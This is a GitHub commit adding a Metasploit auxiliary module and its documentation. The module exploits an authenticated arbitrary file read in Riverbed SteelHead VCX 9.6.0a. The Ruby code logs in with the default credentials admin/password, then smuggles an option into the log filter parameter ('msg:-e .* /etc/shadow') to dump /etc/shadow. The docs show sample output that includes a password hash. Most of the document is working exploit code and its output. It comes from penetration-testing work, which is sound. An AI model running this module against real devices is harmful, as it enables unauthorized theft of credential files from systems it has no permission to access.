Skip to content

Commit ea5db9a

Browse files
committed
working module
1 parent e7fa4c2 commit ea5db9a

File tree

2 files changed

+189
-0
lines changed

2 files changed

+189
-0
lines changed
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
This module exploits an authenticated arbitrary file read in the log module's filter engine.
2+
3+
## Vulnerable Application
4+
5+
The application is available for a 90 day evaluation after free registration from
6+
[riverbed](https://www.riverbed.com/gb/products/steelhead/Free-90-day-Evaluation-SteelHead-CX-Virtual-Edition.html).
7+
Downloads are available for Hyper-V, ESX(i), and KVM. Installation is straight forward, initial login is `admin`/`password`.
8+
If need be from cli, to show the IP address of the device: `show interfaces primary`
9+
10+
This module was successfully tested against:
11+
12+
- SteelHead VCX (VCX255U) 9.6.0a
13+
14+
## Verification Steps
15+
16+
1. Do: ```auxiliary/scanner/http/riverbed_steelhead_vcx_file_read```
17+
2. Do: ```set RHOSTS [IP]```
18+
3. Set TARGETURI if necessary.
19+
3. Set FILE if necessary.
20+
3. Set USERNAME if necessary.
21+
3. Set PASSWORD if necessary.
22+
4. Do: ```run```
23+
24+
## Scenarios
25+
26+
### SteelHead VCX255u 9.6.0a running on ESXi
27+
28+
```
29+
resource (riverbed.rc)> use auxiliary/scanner/http/riverbed_steelhead_vcx_file_read
30+
resource (riverbed.rc)> set rhosts 192.168.2.198
31+
rhosts => 192.168.2.198
32+
resource (riverbed.rc)> set verbose true
33+
verbose => true
34+
resource (riverbed.rc)> run
35+
[*] CSRF Token: 18PK64EKpo4d6y0X5ZOMYJ3fxfYZKfrN
36+
[+] Authenticated Successfully
37+
[+] File Contents:
38+
admin:$6$sKOU5moa$B2szxiSEzq6ZmHZw01CMf64WlzvqIgCYETeXzF1ItxZ5soOJNVXdE2H5N19t0cPeGDf/LGvRymgQHAxgojr6u1:10000:0:99999:7:::
39+
administrator:*:10000:0:99999:7:::
40+
apache:*:10000:0:99999:7:::
41+
localvixuser:*:10000:0:99999:7:::
42+
named:*:10000:0:99999:7:::
43+
nobody:*:10000:0:99999:7:::
44+
ntp:*:10000:0:99999:7:::
45+
pcap:*:10000:0:99999:7:::
46+
postgres:*:10000:0:99999:7:::
47+
rcud:*:10000:0:99999:7:::
48+
root:*:10000:0:99999:7:::
49+
rpc:*:10000:0:99999:7:::
50+
shark:*:10000:0:99999:7:::
51+
sshd:*:10000:0:99999:7:::
52+
statsd:*:10000:0:99999:7:::
53+
webproxy::10000:0:99999:7:::
54+
[+] Stored /etc/shadow to /root/.msf4/loot/20170602230238_default_192.168.2.198_host.file_311580.txt
55+
[*] Scanned 1 of 1 hosts (100% complete)
56+
[*] Auxiliary module execution completed
57+
```
Lines changed: 132 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,132 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'json'
7+
8+
class MetasploitModule < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Auxiliary::Report
12+
include Msf::Auxiliary::Scanner
13+
14+
def initialize
15+
super(
16+
'Name' => 'Riverbed SteelHead VCX File Read',
17+
'Description' => %q{
18+
This module exploits an authenticated arbitrary file read in the log module's filter engine.
19+
SteelHead VCX (VCX255U) version 9.6.0a was confirmed as vulnerable.
20+
},
21+
'References' =>
22+
[
23+
['EDB', '42101']
24+
],
25+
'Author' =>
26+
[
27+
'Gregory DRAPERI <gregory.draper_at_gmail.com>', # Exploit
28+
'h00die' # Module
29+
],
30+
'DisclosureDate' => 'Jun 01 2017',
31+
'License' => MSF_LICENSE
32+
)
33+
34+
register_options(
35+
[
36+
Opt::RPORT(80),
37+
OptString.new('FILE', [ true, 'Remote file to view', '/etc/shadow']),
38+
OptString.new('TARGETURI', [true, 'Vulnerable URI path', '/']),
39+
OptString.new('USERNAME', [true, 'Username', 'admin']),
40+
OptString.new('PASSWORD', [true, 'Password', 'password']),
41+
])
42+
end
43+
44+
def run_host(ip)
45+
46+
# pull our csrf
47+
res = send_request_cgi({
48+
'uri' => normalize_uri(datastore['TARGETURI'], 'login'),
49+
'method' => 'GET',
50+
'vars_get' => {
51+
'next' => '/'
52+
}
53+
}, 25)
54+
55+
unless res
56+
print_error("#{full_uri} - Connection timed out")
57+
return
58+
end
59+
60+
cookie = res.get_cookies
61+
csrf = cookie.scan(/csrftoken=(\w+);/).flatten[0]
62+
vprint_status("CSRF Token: #{csrf}")
63+
64+
# authenticate
65+
res = send_request_cgi({
66+
'uri' => normalize_uri(datastore['TARGETURI'], 'login'),
67+
'method' => 'POST',
68+
'cookie' => cookie,
69+
'ctype' => 'application/x-www-form-urlencoded;',
70+
'vars_post' => {
71+
'csrfmiddlewaretoken' => csrf,
72+
'_fields' => JSON.generate({
73+
'username' => datastore['USERNAME'],
74+
'password' => datastore['PASSWORD'],
75+
'legalAccepted' => 'N/A',
76+
'userAgent' => ''
77+
})
78+
}
79+
}, 25)
80+
81+
unless res
82+
print_error("#{full_uri} - Connection timed out")
83+
return
84+
end
85+
86+
if res.code == 400
87+
print_error('Failed Authentication')
88+
return
89+
elsif res.code == 200
90+
vprint_good('Authenticated Successfully')
91+
end
92+
93+
# pull the file
94+
res = send_request_cgi({
95+
'uri' => normalize_uri(datastore['TARGETURI'], 'modules/common/logs'),
96+
'method' => 'GET',
97+
'cookie' => res.get_cookies,
98+
'vars_get' => {
99+
'filterStr' => "msg:-e .* #{datastore['FILE']}"
100+
}
101+
}, 25)
102+
103+
unless res
104+
print_error("#{full_uri} - Connection timed out")
105+
return
106+
end
107+
108+
if res && res.body
109+
result = JSON.parse(res.body)
110+
unless result.has_key?('web3.model')
111+
print_error('Invalid JSON returned')
112+
return
113+
end
114+
reconstructed_file = []
115+
# so the format is super icky here. It makes a hash table for each row in the file. then the 'msg' field starts with
116+
# the file name. It also, by default, includes other files, so we need to check we're on the right file.
117+
result['web3.model']['messages']['rows'].each do |row|
118+
if row['msg'].start_with?(datastore['FILE'])
119+
reconstructed_file << row['msg'].gsub("#{datastore['FILE']}:",'').strip()
120+
end
121+
end
122+
if reconstructed_file.any?
123+
reconstructed_file = reconstructed_file.join("\n")
124+
vprint_good("File Contents:\n#{reconstructed_file}")
125+
stored_path = store_loot('host.file', 'text/plain', rhost, reconstructed_file, datastore['FILE'])
126+
print_good("Stored #{datastore['FILE']} to #{stored_path}")
127+
else
128+
print_error("File not found or empty file: #{datastore['FILE']}")
129+
end
130+
end
131+
end
132+
end

0 commit comments

Comments
 (0)